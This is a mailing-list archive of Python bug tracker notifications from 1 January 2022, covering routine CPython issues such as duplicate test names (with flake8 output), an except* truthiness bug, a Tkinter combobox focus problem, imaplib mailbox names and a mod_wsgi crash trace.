From report at bugs.python.org Sat Jan 1 01:08:39 2022 From: report at bugs.python.org (Barney Gale) Date: Sat, 01 Jan 2022 06:08:39 +0000 Subject: [issue44136] Remove pathlib flavours In-Reply-To: <1621016938.4.0.46024543706.issue44136@roundup.psfhosted.org> Message-ID: <1641017319.51.0.87934135012.issue44136@roundup.psfhosted.org> Change by Barney Gale : ---------- pull_requests: +28536 pull_request: https://github.com/python/cpython/pull/30320 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 01:09:19 2022 From: report at bugs.python.org (Barney Gale) Date: Sat, 01 Jan 2022 06:09:19 +0000 Subject: [issue44136] Remove pathlib flavours In-Reply-To: <1621016938.4.0.46024543706.issue44136@roundup.psfhosted.org> Message-ID: <1641017359.99.0.585141388881.issue44136@roundup.psfhosted.org> Change by Barney Gale : ---------- pull_requests: +28537 pull_request: https://github.com/python/cpython/pull/30321 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 01:58:46 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 01 Jan 2022 06:58:46 +0000 Subject: [issue46142] python --help output is too long In-Reply-To: <1640043795.98.0.690443918792.issue46142@roundup.psfhosted.org> Message-ID: <1641020326.48.0.974951705416.issue46142@roundup.psfhosted.org> Serhiy Storchaka added the comment: I think that the man page should contain all details related to the CLI (and may be even some examples). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 04:12:03 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 01 Jan 2022 09:12:03 +0000 Subject: [issue46198] Duplicate and unused code in tests In-Reply-To: <1640823822.61.0.842322675872.issue46198@roundup.psfhosted.org> Message-ID: <1641028323.34.0.631548333217.issue46198@roundup.psfhosted.org> Nikita Sobolev added the comment: Thanks! I will also attach all `flake8`'s output if someone is going to need it: ``` ? flake8 --select=F811 Lib/test Lib/test/test_descr.py:1165:13: F811 redefinition of unused 'C' from line 1158 Lib/test/test_descr.py:1172:13: F811 redefinition of unused 'C' from line 1165 Lib/test/test_descr.py:1179:13: F811 redefinition of unused 'C' from line 1172 Lib/test/test_descr.py:1186:13: F811 redefinition of unused 'C' from line 1179 Lib/test/test_descr.py:1192:9: F811 redefinition of unused 'C' from line 1186 Lib/test/test_descr.py:1198:9: F811 redefinition of unused 'C' from line 1192 Lib/test/test_descr.py:1488:13: F811 redefinition of unused 'C' from line 1480 Lib/test/test_descr.py:1498:13: F811 redefinition of unused 'C' from line 1488 Lib/test/test_descr.py:1506:13: F811 redefinition of unused 'C' from line 1498 Lib/test/test_descr.py:1514:13: F811 redefinition of unused 'C' from line 1506 Lib/test/test_descr.py:4076:13: F811 redefinition of unused 'X' from line 4073 Lib/test/test_descr.py:4079:13: F811 redefinition of unused 'X' from line 4076 Lib/test/test_descr.py:4084:13: F811 redefinition of unused 'X' from line 4079 Lib/test/test_descr.py:4087:13: F811 redefinition of unused 'X' from line 4084 Lib/test/test_descr.py:4090:9: F811 redefinition of unused 'X' from line 4087 Lib/test/test_buffer.py:759:5: F811 redefinition of unused 'genslices' from line 694 Lib/test/test_buffer.py:760:5: F811 redefinition of unused 'genslices_ndim' from line 698 Lib/test/test_buffer.py:761:5: F811 redefinition of unused 'permutations' from line 20 Lib/test/test_syntax.py:1555:5: F811 redefinition of unused 'test_break_outside_loop' from line 1525 Lib/test/test_typing.py:108:13: F811 redefinition of unused 'A' from line 105 Lib/test/test_typing.py:148:13: F811 redefinition of unused 'A' from line 145 Lib/test/test_typing.py:332:13: F811 redefinition of unused 'C' from line 329 Lib/test/test_typing.py:335:13: F811 redefinition of unused 'C' from line 332 Lib/test/test_typing.py:880:13: F811 redefinition of unused 'P' from line 877 Lib/test/test_typing.py:883:13: F811 redefinition of unused 'P' from line 880 Lib/test/test_typing.py:1385:13: F811 redefinition of unused 'P' from line 1383 Lib/test/test_typing.py:1387:13: F811 redefinition of unused 'P' from line 1385 Lib/test/test_typing.py:1389:13: F811 redefinition of unused 'P' from line 1387 Lib/test/test_typing.py:1665:13: F811 redefinition of unused 'MyGeneric' from line 1663 Lib/test/test_typing.py:2295:13: F811 redefinition of unused 'Subclass' from line 2292 Lib/test/test_typing.py:2478:13: F811 redefinition of unused 'C' from line 2475 Lib/test/test_typing.py:2522:13: F811 redefinition of unused 'C' from line 2519 Lib/test/test_typing.py:4532:5: F811 redefinition of unused 'test_hash_eq' from line 4475 Lib/test/test_typing.py:4652:13: F811 redefinition of unused 'C' from line 4648 Lib/test/test_typing.py:4844:13: F811 redefinition of unused 'C' from line 4841 Lib/test/datetimetester.py:1867:9: F811 redefinition of unused 'io' from line 5 Lib/test/datetimetester.py:3991:9: F811 redefinition of unused 'io' from line 5 Lib/test/test_genericclass.py:101:13: F811 redefinition of unused 'D' from line 95 Lib/test/test_genericclass.py:114:13: F811 redefinition of unused 'D' from line 108 Lib/test/test_subclassinit.py:235:13: F811 redefinition of unused 'MyClass' from line 221 Lib/test/test_subclassinit.py:246:9: F811 redefinition of unused 'MyClass' from line 235 Lib/test/test_subclassinit.py:268:9: F811 redefinition of unused 'MyClass' from line 259 Lib/test/test_tabnanny.py:7:1: F811 redefinition of unused 'mock' from line 6 Lib/test/test_compile.py:1178:5: F811 redefinition of unused 'test_func_args' from line 1171 Lib/test/test_dataclasses.py:517:13: F811 redefinition of unused 'A' from line 512 Lib/test/test_dataclasses.py:527:13: F811 redefinition of unused 'A' from line 517 Lib/test/test_dataclasses.py:681:21: F811 redefinition of unused 'Point' from line 672 Lib/test/test_dataclasses.py:692:21: F811 redefinition of unused 'Point' from line 681 Lib/test/test_dataclasses.py:702:17: F811 redefinition of unused 'C' from line 697 Lib/test/test_dataclasses.py:1840:9: F811 redefinition of unused 'C' from line 1834 Lib/test/test_dataclasses.py:2387:13: F811 redefinition of unused 'C' from line 2378 Lib/test/test_dataclasses.py:2396:13: F811 redefinition of unused 'C' from line 2387 Lib/test/test_dataclasses.py:2405:13: F811 redefinition of unused 'C' from line 2396 Lib/test/test_dataclasses.py:2778:13: F811 redefinition of unused 'C' from line 2770 Lib/test/test_dataclasses.py:2784:9: F811 redefinition of unused 'C' from line 2778 Lib/test/test_dataclasses.py:3678:13: F811 redefinition of unused 'A' from line 3673 Lib/test/test_dataclasses.py:3683:13: F811 redefinition of unused 'A' from line 3678 Lib/test/test_dataclasses.py:3825:13: F811 redefinition of unused 'A' from line 3816 Lib/test/test_dataclasses.py:3834:13: F811 redefinition of unused 'A' from line 3825 Lib/test/test_dataclasses.py:3843:9: F811 redefinition of unused 'A' from line 3834 Lib/test/test_dataclasses.py:3851:9: F811 redefinition of unused 'A' from line 3843 Lib/test/test_dataclasses.py:3870:13: F811 redefinition of unused 'B' from line 3857 Lib/test/test_functools.py:566:13: F811 redefinition of unused 'B' from line 563 Lib/test/test_functools.py:569:13: F811 redefinition of unused 'B' from line 566 Lib/test/test_yield_from.py:921:9: F811 redefinition of unused 'two' from line 890 Lib/test/time_hashlib.py:60:5: F811 redefinition of unused 'creatorFunc' from line 9 Lib/test/test_keywordonlyarg.py:173:13: F811 redefinition of unused 'f' from line 169 Lib/test/test_codecs.py:35:5: F811 redefinition of unused 'UINT' from line 35 Lib/test/test_dict.py:1441:5: F811 redefinition of unused 'test_dict_items_result_gc' from line 1429 Lib/test/test_pkg.py:200:9: F811 redefinition of unused 't5' from line 193 Lib/test/test_pty.py:19:1: F811 redefinition of unused 'tty' from line 10 Lib/test/test_enum.py:625:13: F811 redefinition of unused 'Wrong' from line 622 Lib/test/test_enum.py:628:13: F811 redefinition of unused 'Wrong' from line 625 Lib/test/test_enum.py:631:13: F811 redefinition of unused 'Wrong' from line 628 Lib/test/test_enum.py:634:13: F811 redefinition of unused 'Wrong' from line 631 Lib/test/test_enum.py:746:13: F811 redefinition of unused 'Color' from line 739 Lib/test/test_enum.py:754:13: F811 redefinition of unused 'Color' from line 746 Lib/test/test_enum.py:758:17: F811 redefinition of unused 'red' from line 756 Lib/test/test_enum.py:873:5: F811 redefinition of unused 'test_mixin_format_warning' from line 860 Lib/test/test_enum.py:1022:13: F811 redefinition of unused 'Huh' from line 1012 Lib/test/test_enum.py:2106:13: F811 redefinition of unused 'Color' from line 2101 Lib/test/test_enum.py:2603:13: F811 redefinition of unused 'ThirdFailedStrEnum' from line 2599 Lib/test/test_enum.py:2607:13: F811 redefinition of unused 'ThirdFailedStrEnum' from line 2603 Lib/test/test_enum.py:2667:13: F811 redefinition of unused 'ThirdFailedStrEnum' from line 2663 Lib/test/test_enum.py:2671:13: F811 redefinition of unused 'ThirdFailedStrEnum' from line 2667 Lib/test/test_enum.py:2729:13: F811 redefinition of unused 'ThirdFailedStrEnum' from line 2725 Lib/test/test_enum.py:2733:13: F811 redefinition of unused 'ThirdFailedStrEnum' from line 2729 Lib/test/test_enum.py:4168:1: F811 redefinition of unused 'TestHelpers' from line 107 Lib/test/test_import/__init__.py:277:13: F811 redefinition of unused 'x' from line 272 Lib/test/test_zoneinfo/test_zoneinfo.py:1096:9: F811 redefinition of unused '_add' from line 1068 Lib/test/test_zoneinfo/test_zoneinfo.py:1120:9: F811 redefinition of unused '_add' from line 1096 Lib/test/test_zoneinfo/test_zoneinfo.py:1145:9: F811 redefinition of unused '_add' from line 1120 Lib/test/test_zoneinfo/test_zoneinfo.py:1169:9: F811 redefinition of unused '_add' from line 1145 Lib/test/test_zoneinfo/test_zoneinfo.py:1182:9: F811 redefinition of unused '_add' from line 1169 Lib/test/test_zoneinfo/test_zoneinfo.py:1195:9: F811 redefinition of unused '_add' from line 1182 Lib/test/test_zoneinfo/test_zoneinfo.py:1216:9: F811 redefinition of unused '_add' from line 1195 Lib/test/test_zoneinfo/test_zoneinfo.py:1249:9: F811 redefinition of unused '_add' from line 1216 Lib/test/test_zoneinfo/test_zoneinfo.py:1272:9: F811 redefinition of unused '_add' from line 1249 Lib/test/support/__init__.py:1392:9: F811 redefinition of unused '_platform_specific' from line 1388 Lib/test/test_email/test__header_value_parser.py:398:5: F811 redefinition of unused 'test_get_unstructured_invalid_ew' from line 304 Lib/test/test_asyncio/test_sslproto.py:18:1: F811 redefinition of unused 'support' from line 5 ``` I will refactor some more in my existing PR. Thanks a lot, ?ric! ---------- title: Duplicated test name `test_get_unstructured_invalid_ew` in `test__header_value_parser.py` -> Duplicate and unused code in tests _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 04:48:30 2022 From: report at bugs.python.org (=?utf-8?q?beda_pi=C5=A1l?=) Date: Sat, 01 Jan 2022 09:48:30 +0000 Subject: [issue46215] Wrong error line after using pdb In-Reply-To: <1640983604.86.0.570920927154.issue46215@roundup.psfhosted.org> Message-ID: <1641030510.78.0.188684133739.issue46215@roundup.psfhosted.org> beda pi?l added the comment: I tried this on current main branch, and I cannot reproduce the problem there. ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 05:36:19 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 01 Jan 2022 10:36:19 +0000 Subject: [issue45711] Simplify the interpreter's (type, val, tb) exception representation In-Reply-To: <1636025387.26.0.346517237471.issue45711@roundup.psfhosted.org> Message-ID: <1641033379.83.0.116256525732.issue45711@roundup.psfhosted.org> Change by Irit Katriel : ---------- pull_requests: -28503 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 05:37:29 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 01 Jan 2022 10:37:29 +0000 Subject: [issue45711] Simplify the interpreter's (type, val, tb) exception representation In-Reply-To: <1636025387.26.0.346517237471.issue45711@roundup.psfhosted.org> Message-ID: <1641033449.09.0.519451483677.issue45711@roundup.psfhosted.org> Irit Katriel added the comment: This is done, there will be more cleanups that this enables but they can have their own issues. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 05:37:40 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 01 Jan 2022 10:37:40 +0000 Subject: [issue45711] Simplify the interpreter's (type, val, tb) exception representation In-Reply-To: <1636025387.26.0.346517237471.issue45711@roundup.psfhosted.org> Message-ID: <1641033460.9.0.177903531992.issue45711@roundup.psfhosted.org> Change by Irit Katriel : ---------- pull_requests: -28193 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 05:37:51 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 01 Jan 2022 10:37:51 +0000 Subject: [issue45711] Simplify the interpreter's (type, val, tb) exception representation In-Reply-To: <1636025387.26.0.346517237471.issue45711@roundup.psfhosted.org> Message-ID: <1641033471.05.0.460730427979.issue45711@roundup.psfhosted.org> Change by Irit Katriel : ---------- pull_requests: -28217 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 05:42:47 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 01 Jan 2022 10:42:47 +0000 Subject: [issue46219] except* assumes that an exception group is truth Message-ID: <1641033767.24.0.115105620821.issue46219@roundup.psfhosted.org> New submission from Irit Katriel : except* checks truthiness of the output of PREP_RERAISE_STAR, and this gives the wrong result for false ExceptionGroup subclasses. See https://github.com/python/cpython/pull/30302#discussion_r776825568 ---------- components: Interpreter Core messages: 409454 nosy: brandtbucher, iritkatriel priority: normal severity: normal status: open title: except* assumes that an exception group is truth versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 05:43:01 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 01 Jan 2022 10:43:01 +0000 Subject: [issue46219] except* assumes that an exception group is truthy In-Reply-To: <1641033767.24.0.115105620821.issue46219@roundup.psfhosted.org> Message-ID: <1641033781.68.0.168279508341.issue46219@roundup.psfhosted.org> Change by Irit Katriel : ---------- title: except* assumes that an exception group is truth -> except* assumes that an exception group is truthy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 06:49:18 2022 From: report at bugs.python.org (E. Paine) Date: Sat, 01 Jan 2022 11:49:18 +0000 Subject: [issue46181] Destroying an expaned Combobox prevents Entry focus until Alt+Tab In-Reply-To: <1640521278.35.0.92599921807.issue46181@roundup.psfhosted.org> Message-ID: <1641037758.76.0.0941852279981.issue46181@roundup.psfhosted.org> E. Paine added the comment: Reproduced using Wish built from the current Tk head (on Windows - I'm unable to reproduce on Linux). --- Strangely, invoking destroy in the trace callback raises a very strange error that appears to be missing the first two lines (tkinter may be hiding this error since it's a Tcl error occurring after the callback has completed?): while executing "$cb current $index" (procedure "SelectEntry" line 2) invoked from within "SelectEntry $cb [lindex $selection 0]" (procedure "LBSelect" line 5) invoked from within "LBSelect $lb" (procedure "ttk::combobox::LBSelected" line 3) invoked from within "ttk::combobox::LBSelected .c.popdown.f.l " (command bound to event) As stated above, however, the issue with focussing can be reproduced in Wish, by simply using `after`: proc changed {name1 name2 op} { puts changed trace remove variable cvar write changed pack forget .c after idle {destroy .c} } pack [ttk::combobox .c -textvariable cvar -values {1 2}] pack [ttk::entry .e] trace add variable cvar write changed ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 07:26:30 2022 From: report at bugs.python.org (neonene) Date: Sat, 01 Jan 2022 12:26:30 +0000 Subject: [issue46217] 3.11 build failure on Win10: new _freeze_module changes? In-Reply-To: <1641000516.27.0.500789613902.issue46217@roundup.psfhosted.org> Message-ID: <1641039990.94.0.891421766372.issue46217@roundup.psfhosted.org> neonene added the comment: The flag is not for Win8.1 and available starting in Win10 1703 with v10.0.15021 SDK. ---------- nosy: +neonene _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 07:35:32 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sat, 01 Jan 2022 12:35:32 +0000 Subject: [issue46217] 3.11 build failure on Win10: new _freeze_module changes? In-Reply-To: <1641000516.27.0.500789613902.issue46217@roundup.psfhosted.org> Message-ID: <1641040532.19.0.795932460917.issue46217@roundup.psfhosted.org> Change by Dong-hee Na : ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 08:08:23 2022 From: report at bugs.python.org (Matthew H. McKenzie) Date: Sat, 01 Jan 2022 13:08:23 +0000 Subject: [issue46220] imaplib.py "select" mailbox names containing spaces. Message-ID: <1641042503.75.0.727332704149.issue46220@roundup.psfhosted.org> New submission from Matthew H. McKenzie : A mailbox (folder) need not be for a recipient and need not be the private part of an RFC2822 address. Passing a value of "000 Bookings" to select() results in validation issues when the tokens are parsed as arguments and there are too many. It would be a nice-to-have to accept spaces in the name. Workaround is for a rule to be applied by a desktop email client such as Evolution to move it from the INBOX upon discovery according to filter criteria. ---------- components: Library (Lib) messages: 409457 nosy: mckenzm priority: normal severity: normal status: open title: imaplib.py "select" mailbox names containing spaces. type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 08:59:07 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 01 Jan 2022 13:59:07 +0000 Subject: [issue46221] Simplify except* implementation and move helpers to exceptions.c Message-ID: <1641045547.05.0.955654567857.issue46221@roundup.psfhosted.org> New submission from Irit Katriel : Following issue45711, the implementation of except* can be simplified - we do not need to use POP_EXCEPT_AND_RERAISE to reraise the exception calculated by PREP_RERAISE_STAR, we can instead 1. Make PREP_RERAISE_STAR not push a dummy lasti to the stack. 2. USE ROT_TWO + POP_EXCEPT + RERAISE. While I'm there, I will move the PREP_RERAISE_STAR helper functions (do_reraise_star etc) to exceptions.c. ---------- assignee: iritkatriel components: Interpreter Core messages: 409458 nosy: iritkatriel priority: normal severity: normal status: open title: Simplify except* implementation and move helpers to exceptions.c versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 09:03:04 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 01 Jan 2022 14:03:04 +0000 Subject: [issue46219] except* assumes that an exception group is truthy In-Reply-To: <1641033767.24.0.115105620821.issue46219@roundup.psfhosted.org> Message-ID: <1641045784.14.0.0509067259595.issue46219@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +28538 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30289 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 09:03:04 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 01 Jan 2022 14:03:04 +0000 Subject: [issue45711] Simplify the interpreter's (type, val, tb) exception representation In-Reply-To: <1636025387.26.0.346517237471.issue45711@roundup.psfhosted.org> Message-ID: <1641045784.27.0.0801547841899.issue45711@roundup.psfhosted.org> Change by Irit Katriel : ---------- pull_requests: +28539 pull_request: https://github.com/python/cpython/pull/30289 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 09:04:25 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 01 Jan 2022 14:04:25 +0000 Subject: [issue46221] Simplify except* implementation and move helpers to exceptions.c In-Reply-To: <1641045547.05.0.955654567857.issue46221@roundup.psfhosted.org> Message-ID: <1641045865.98.0.678787405157.issue46221@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +28540 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30289 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 09:18:58 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 01 Jan 2022 14:18:58 +0000 Subject: [issue46216] spurious link to os.system() from os.times() documentation entry In-Reply-To: <1640995250.13.0.0626118666649.issue46216@roundup.psfhosted.org> Message-ID: <1641046738.38.0.630103316688.issue46216@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch nosy: +iritkatriel nosy_count: 2.0 -> 3.0 pull_requests: +28541 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30326 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 09:20:11 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 01 Jan 2022 14:20:11 +0000 Subject: [issue46216] spurious link to os.system() from os.times() documentation entry In-Reply-To: <1640995250.13.0.0626118666649.issue46216@roundup.psfhosted.org> Message-ID: <1641046811.16.0.175620564049.issue46216@roundup.psfhosted.org> Change by Irit Katriel : ---------- type: -> behavior versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 09:27:08 2022 From: report at bugs.python.org (Stefan Behnel) Date: Sat, 01 Jan 2022 14:27:08 +0000 Subject: [issue44394] [security] CVE-2013-0340 "Billion Laughs" fixed in Expat >=2.4.0: Update vendored copy to expat 2.4.1 In-Reply-To: <1623420847.27.0.469352206791.issue44394@roundup.psfhosted.org> Message-ID: <1641047228.71.0.925800650879.issue44394@roundup.psfhosted.org> Stefan Behnel added the comment: I'd like to ask for clarification regarding issue 45321, which adds the missing error constants to the `expat` module. I consider those new features ? it seems inappropriate to add new module constants in the middle of a release series. However, in this ticket here, the libexpat version was updated all the way back to Py3.6, to solve a security issue. Should we also backport the error constants then? ---------- nosy: +scoder _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 09:27:27 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 01 Jan 2022 14:27:27 +0000 Subject: [issue46219] except* assumes that an exception group is truthy In-Reply-To: <1641033767.24.0.115105620821.issue46219@roundup.psfhosted.org> Message-ID: <1641047247.1.0.977544462665.issue46219@roundup.psfhosted.org> Irit Katriel added the comment: ... "for falsy ExceptionGroup subclasses" ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 09:36:31 2022 From: report at bugs.python.org (Joel Uckelman) Date: Sat, 01 Jan 2022 14:36:31 +0000 Subject: [issue46070] _PyImport_FixupExtensionObject() regression causing a crash in subintepreters In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641047791.21.0.403276692609.issue46070@roundup.psfhosted.org> Joel Uckelman added the comment: I have this happening on Linux with a Flask app after upgrading from Fedora 34 to 35. libpython keeps crashing httpd. I see this from journalctl: #0 0x00007fd899baa801 PyObject_Malloc (libpython3.10.so.1.0 + 0xf7801) #1 0x00007fd899baab47 PyUnicode_New (libpython3.10.so.1.0 + 0xf7b47) #2 0x00007fd899bb9aae _PyUnicode_FromUCS1 (libpython3.10.so.1.0 + 0x106aae) #3 0x00007fd899bb9323 r_object (libpython3.10.so.1.0 + 0x106323) #4 0x00007fd899bb8d46 r_object (libpython3.10.so.1.0 + 0x105d46) #5 0x00007fd899bb90b4 r_object (libpython3.10.so.1.0 + 0x1060b4) #6 0x00007fd899bb8d65 r_object (libpython3.10.so.1.0 + 0x105d65) #7 0x00007fd899bb9088 r_object (libpython3.10.so.1.0 + 0x106088) #8 0x00007fd899bb8e33 r_object (libpython3.10.so.1.0 + 0x105e33) #9 0x00007fd899bb9088 r_object (libpython3.10.so.1.0 + 0x106088) #10 0x00007fd899c35c28 read_object (libpython3.10.so.1.0 + 0x182c28) #11 0x00007fd899c48f56 marshal_loads (libpython3.10.so.1.0 + 0x195f56) #12 0x00007fd899bc88d7 cfunction_vectorcall_O (libpython3.10.so.1.0 + 0x1158d7) #13 0x00007fd899bc0c80 _PyEval_EvalFrameDefault (libpython3.10.so.1.0 + 0x10dc80) #14 0x00007fd899bba984 _PyEval_Vector (libpython3.10.so.1.0 + 0x107984) #15 0x00007fd899bbccba _PyEval_EvalFrameDefault (libpython3.10.so.1.0 + 0x109cba) #16 0x00007fd899bba984 _PyEval_Vector (libpython3.10.so.1.0 + 0x107984) #17 0x00007fd899bbbd6d _PyEval_EvalFrameDefault (libpython3.10.so.1.0 + 0x108d6d) #18 0x00007fd899bba984 _PyEval_Vector (libpython3.10.so.1.0 + 0x107984) #19 0x00007fd899bbbd6d _PyEval_EvalFrameDefault (libpython3.10.so.1.0 + 0x108d6d) #20 0x00007fd899bba984 _PyEval_Vector (libpython3.10.so.1.0 + 0x107984) #21 0x00007fd899bbbac2 _PyEval_EvalFrameDefault (libpython3.10.so.1.0 + 0x108ac2) #22 0x00007fd899bba984 _PyEval_Vector (libpython3.10.so.1.0 + 0x107984) #23 0x00007fd899bbbac2 _PyEval_EvalFrameDefault (libpython3.10.so.1.0 + 0x108ac2) #24 0x00007fd899bba984 _PyEval_Vector (libpython3.10.so.1.0 + 0x107984) #25 0x00007fd899bc8a9e object_vacall (libpython3.10.so.1.0 + 0x115a9e) #26 0x00007fd899bd247c _PyObject_CallMethodIdObjArgs (libpython3.10.so.1.0 + 0x11f47c) #27 0x00007fd899bd21d7 PyImport_ImportModuleLevelObject (libpython3.10.so.1.0 + 0x11f1d7) #28 0x00007fd899bbfc8e _PyEval_EvalFrameDefault (libpython3.10.so.1.0 + 0x10cc8e) #29 0x00007fd899bba984 _PyEval_Vector (libpython3.10.so.1.0 + 0x107984) #30 0x00007fd899c360d4 PyEval_EvalCode (libpython3.10.so.1.0 + 0x1830d4) #31 0x00007fd899c3d091 builtin_exec (libpython3.10.so.1.0 + 0x18a091) #32 0x00007fd899bc94b0 cfunction_vectorcall_FASTCALL (libpython3.10.so.1.0 + 0x1164b0) #33 0x00007fd899bc2209 _PyEval_EvalFrameDefault (libpython3.10.so.1.0 + 0x10f209) #34 0x00007fd899bba984 _PyEval_Vector (libpython3.10.so.1.0 + 0x107984) #35 0x00007fd899bc0c80 _PyEval_EvalFrameDefault (libpython3.10.so.1.0 + 0x10dc80) #36 0x00007fd899bba984 _PyEval_Vector (libpython3.10.so.1.0 + 0x107984) #37 0x00007fd899bbbd6d _PyEval_EvalFrameDefault (libpython3.10.so.1.0 + 0x108d6d) #38 0x00007fd899bba984 _PyEval_Vector (libpython3.10.so.1.0 + 0x107984) #39 0x00007fd899bbbac2 _PyEval_EvalFrameDefault (libpython3.10.so.1.0 + 0x108ac2) #40 0x00007fd899bba984 _PyEval_Vector (libpython3.10.so.1.0 + 0x107984) #41 0x00007fd899bbbac2 _PyEval_EvalFrameDefault (libpython3.10.so.1.0 + 0x108ac2) #42 0x00007fd899bba984 _PyEval_Vector (libpython3.10.so.1.0 + 0x107984) #43 0x00007fd899bc8a9e object_vacall (libpython3.10.so.1.0 + 0x115a9e) #44 0x00007fd899bd247c _PyObject_CallMethodIdObjArgs (libpython3.10.so.1.0 + 0x11f47c) #45 0x00007fd899bd21d7 PyImport_ImportModuleLevelObject (libpython3.10.so.1.0 + 0x11f1d7) #46 0x00007fd899bbfc8e _PyEval_EvalFrameDefault (libpython3.10.so.1.0 + 0x10cc8e) #47 0x00007fd899bba984 _PyEval_Vector (libpython3.10.so.1.0 + 0x107984) #48 0x00007fd899c360d4 PyEval_EvalCode (libpython3.10.so.1.0 + 0x1830d4) #49 0x00007fd899c36006 exec_code_in_module (libpython3.10.so.1.0 + 0x183006) #50 0x00007fd899ba33e7 PyImport_ExecCodeModuleObject (libpython3.10.so.1.0 + 0xf03e7) #51 0x00007fd899ba3482 PyImport_ExecCodeModuleWithPathnames (libpython3.10.so.1.0 + 0xf0482) #52 0x00007fd899e0f542 wsgi_load_source.lto_priv.0 (mod_wsgi_python3.so + 0x17542) #53 0x00007fd899e107ed wsgi_execute_script.lto_priv.0 (mod_wsgi_python3.so + 0x187ed) #54 0x00007fd899e1b0f6 wsgi_daemon_thread (mod_wsgi_python3.so + 0x230f6) #55 0x00007fd89ab52a87 start_thread (libc.so.6 + 0x8da87) #56 0x00007fd89abd7640 __clone3 (libc.so.6 + 0x112640) I see this in /var/log/httpd/ssl_error_log: [Sat Jan 01 05:17:21.248640 2022] [wsgi:error] [pid 257749:tid 257758] Exception ignored deletion of interned string failed: [Sat Jan 01 05:17:21.249193 2022] [wsgi:error] [pid 257749:tid 257758] Traceback (most recent call last): [Sat Jan 01 05:17:21.249222 2022] [wsgi:error] [pid 257749:tid 257758] File "/usr/lib64/python3.10/sqlite3/dbapi2.py", line 83, in register_adapters_and_converters [Sat Jan 01 05:17:21.249453 2022] [wsgi:error] [pid 257749:tid 257758] register_converter("timestamp", convert_timestamp) [Sat Jan 01 05:17:21.249469 2022] [wsgi:error] [pid 257749:tid 257758] KeyError: 'timepart_full' [Sat Jan 01 05:17:21.249484 2022] [wsgi:error] [pid 257749:tid 257758] Exception ignored deletion of interned string failed: [Sat Jan 01 05:17:21.249488 2022] [wsgi:error] [pid 257749:tid 257758] Traceback (most recent call last): [Sat Jan 01 05:17:21.249493 2022] [wsgi:error] [pid 257749:tid 257758] File "/usr/lib64/python3.10/sqlite3/dbapi2.py", line 83, in register_adapters_and_converters [Sat Jan 01 05:17:21.249572 2022] [wsgi:error] [pid 257749:tid 257758] register_converter("timestamp", convert_timestamp) [Sat Jan 01 05:17:21.249582 2022] [wsgi:error] [pid 257749:tid 257758] KeyError: 'timepart' [Sat Jan 01 05:17:21.249590 2022] [wsgi:error] [pid 257749:tid 257758] Exception ignored deletion of interned string failed: [Sat Jan 01 05:17:21.249594 2022] [wsgi:error] [pid 257749:tid 257758] Traceback (most recent call last): [Sat Jan 01 05:17:21.249598 2022] [wsgi:error] [pid 257749:tid 257758] File "/usr/lib64/python3.10/sqlite3/dbapi2.py", line 83, in register_adapters_and_converters [Sat Jan 01 05:17:21.249667 2022] [wsgi:error] [pid 257749:tid 257758] register_converter("timestamp", convert_timestamp) [Sat Jan 01 05:17:21.249676 2022] [wsgi:error] [pid 257749:tid 257758] KeyError: 'datepart' [Sat Jan 01 05:17:21.249697 2022] [wsgi:error] [pid 257749:tid 257758] Exception ignored deletion of interned string failed: [Sat Jan 01 05:17:21.249701 2022] [wsgi:error] [pid 257749:tid 257758] Traceback (most recent call last): [Sat Jan 01 05:17:21.249706 2022] [wsgi:error] [pid 257749:tid 257758] File "", line 688, in _ load_unlocked 